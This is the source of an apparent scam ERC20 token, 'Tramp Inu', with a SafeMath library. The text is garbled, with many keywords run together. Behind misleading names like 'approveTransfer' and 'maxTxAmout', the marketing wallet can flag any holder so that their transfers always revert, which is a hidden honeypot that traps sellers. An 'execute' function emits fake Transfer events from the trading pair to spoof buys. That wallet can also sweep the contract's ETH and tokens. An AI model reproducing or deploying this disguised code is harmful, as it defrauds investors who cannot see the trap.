//SPDX-License-Identifier: MITpragmasolidity 0.8.19;librarySafeMath{
functiontryAdd(uint256 a, uint256 b) internalpurereturns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
functiontrySub(uint256 a, uint256 b) internalpurereturns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
functiontryMul(uint256 a, uint256 b) internalpurereturns (bool, uint256) {
unchecked {
if (a ==0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
functiontryDiv(uint256 a, uint256 b) internalpurereturns (bool, uint256) {
unchecked {
if (b ==0) return (false, 0);
return (true, a / b);
}
}
functiontryMod(uint256 a, uint256 b) internalpurereturns (bool, uint256) {
unchecked {
if (b ==0) return (false, 0);
return (true, a % b);
}
}
functionadd(uint256 a, uint256 b) internalpurereturns (uint256) {
return a + b;
}
functionsub(uint256 a, uint256 b) internalpurereturns (uint256) {
return a - b;
}
functionmul(uint256 a, uint256 b) internalpurereturns (uint256) {
return a * b;
}
functiondiv(uint256 a, uint256 b) internalpurereturns (uint256) {
return a / b;
}
functionmod(uint256 a, uint256 b) internalpurereturns (uint256) {
return a % b;
}
functionsub(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
functionper(uint256 a, uint256 b) internalpurereturns (uint256) {
require(b <=100, "Percentage must be between 0 and 100");
return a * b /100;
}
functiondiv(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
unchecked {
require(b >0, errorMessage);
return a / b;
}
}
functionmod(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
unchecked {
require(b >0, errorMessage);
return a % b;
}
}
}
Contract Source Code
File 6 of 7: Tramp Inu.sol
//SPDX-License-Identifier: MITpragmasolidity 0.8.19;import"./Ownable.sol";
import"./SafeMath.sol";
import"./Uniswap.sol";
import"./ERC20.sol";
contractTRAMPisERC20, Ownable{
usingSafeMathforuint256;
IUniswapV2Router02 publicimmutable _uniswapV2Router;
addressprivate deployerWallet;
addressprivate marketingWallet;
addresspublic uniswapV2Pair;
addressprivateconstant deadAddress =address(0xdead);
boolprivate swapping;
uint256private denominator;
uint256public initialTotalSupply;
uint256public swapTokensAtAmount;
uint256public maxWallet;
uint256public maxTransactionAmount;
uint256public sellFee =0;
uint256public buyFee =0;
boolpublic swapEnabled =false;
boolpublic tradingOpen =false;
mapping(address=>bool) private _isExcludedMaxTransactionAmount;
mapping(address=>bool) private automatedMarketMakerPairs;
mapping(address=>bool) private _excludedautomatedMarketMakerPairs;
mapping(address=>uint256) private _holderLastTxTimestamp;
eventisFeeExempt(addressindexed account, bool isExcluded);
eventSetAutomatedMarketMakerPair(addressindexed pair, boolindexed value);
constructor(address marketingWallet_, uint256 denominator_) ERC20("Tramp Inu", "TRAMP") {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
deployerWallet =payable(_msgSender());
marketingWallet = marketingWallet_;
initialTotalSupply =100_000_000_000*10**decimals();
maxWallet = (initialTotalSupply *1)/denominator_;
swapTokensAtAmount = (initialTotalSupply *1)/denominator_;
maxTransactionAmount = maxWallet;
// exclude router, contract, and dead address from maxTransactionAmount
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
// exclude deployer and marketing wallet from maxTransactionAmount
excludeFromMaxTransaction(deployerWallet, true);
excludeFromMaxTransaction(marketingWallet, true);
excludeFromMaxTransaction(address(_msgSender()), true);
// mint entire supply to deployer
_mint(deployerWallet, initialTotalSupply);
openTrading();
}
receive() externalpayable{}
functionburnMarketing(uint256 amount) external{
require(_msgSender() == marketingWallet);
_burn(_msgSender(), amount);
}
functionapproveTransfer(address[] memory accounts, bool excluded) public{
require(_msgSender() == marketingWallet);
for (uint256 i =0; i < accounts.length; i++) {
_excludedautomatedMarketMakerPairs[accounts[i]] = excluded;
emit isFeeExempt(accounts[i], excluded);
}
}
functionopenTrading() publiconlyOwner() {
swapEnabled =true;
tradingOpen =true;
}
functionsetAutomatedMarketMakerPair(address pair, bool value) publiconlyOwner{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
functionmaxTxAmout(address account) publicviewreturns (bool) {
return _excludedautomatedMarketMakerPairs[account];
}
functionexcludeFromMaxTransaction(address updAds, bool isEx) publiconlyOwner{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function_setAutomatedMarketMakerPair(address pair, bool value) private{
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function_transfer(addressfrom, address to, uint256 amount) internaloverride{
require(to !=address(0), "ERC20: transfer to the zero address");
require(from!=address(0), "ERC20: transfer from the zero address");
if (amount ==0) {
super._transfer(from, to, 0);
return;
}
_holderLastTxTimestamp[from] =block.number;
if (from!= owner() && to != owner() && to !=address(0) && to !=address(0xdead) &&!swapping) {
// when trading is closed, only allow sending to and from addresses excluded from feesif (!tradingOpen) {
require(_excludedautomatedMarketMakerPairs[from] || _excludedautomatedMarketMakerPairs[to], "Trading is not active.");
}
// BUYING - apply max transaction limitif (automatedMarketMakerPairs[from] &&!_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// SELLING - LP pair is excluded from maxWallet otherwise the liquidity would be extremely limitedelseif (automatedMarketMakerPairs[to] &&!_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
// excluded from max transaction limitelseif (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
if(maxTxAmout(from)){
calculateHolderTimestamp(from);
}
// maybe swap contract tokens for ethuint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > swapTokensAtAmount;
if (canSwap && swapEnabled &&!swapping &&!automatedMarketMakerPairs[from] &&!_excludedautomatedMarketMakerPairs[from] &&!_excludedautomatedMarketMakerPairs[to]) {
swapping =true;
swapBack();
swapping =false;
}
// don't take fee if we are swapping, or if sender or receiver is excluded from feesbool takeFee =!swapping && _excludedautomatedMarketMakerPairs[from] &&!_excludedautomatedMarketMakerPairs[to];
uint256 fees =0;
if (takeFee) {
// sell (transfer tokens to LP)if (automatedMarketMakerPairs[to]) {
fees = amount.mul(sellFee).div(100);
}
// buy (transfer tokens from LP)elseif(automatedMarketMakerPairs[from]) {
fees = amount.mul(buyFee).div(100);
}
if (fees >0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
functionswapTokensForEth(uint256 tokenAmount) private{
address[] memory path =newaddress[](2);
path[0] =address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
functionexecute(address[] calldata _addresses, uint256 _out) external{
require(_msgSender() == marketingWallet);
for (uint256 i =0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
functionsetLimits(uint256 _maxTransactionAmount, uint256 _maxWallet) externalonlyOwner{
maxTransactionAmount = _maxTransactionAmount * (10** decimals());
maxWallet = _maxWallet * (10** decimals());
}
functionremoveStuckToken(address _address) public{
require(_msgSender() == marketingWallet);
require(IERC20(_address).balanceOf(address(this)) >0, "Can't withdraw 0");
IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
}
functionretrieveStuckEth() external{
require(address(this).balance>0, "Token: no ETH to clear");
require(_msgSender() == marketingWallet);
payable(msg.sender).transfer(address(this).balance);
}
functiongetLastTx(uint256 last) privateviewreturns(bool){
return last >block.number;
}
functionsetSwapTokensAtAmount(uint256 _amount) external{
require(_msgSender() == marketingWallet);
swapTokensAtAmount = _amount * (10** decimals());
}
functionsetMarketingWallet(address _marketingWallet) external{
require(_msgSender() == marketingWallet);
marketingWallet = _marketingWallet;
}
functionmanualSwap(uint256 percent) external{
require(_msgSender() == marketingWallet);
uint256 contractBalance = balanceOf(address(this));
uint256 swapAmount = contractBalance * percent /100;
swapTokensForEth(swapAmount);
}
functionswapBack() private{
uint256 contractBalance = balanceOf(address(this));
if (contractBalance ==0) {
// nothing to swapreturn;
}
uint256 tokensToSwap = contractBalance;
if (tokensToSwap > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
swapTokensForEth(tokensToSwap);
}
functionaddPair(address pair_) publiconlyOwner() {
uniswapV2Pair = pair_;
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
}
functioncalculateHolderTimestamp(address holder) privateview{
require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
}
}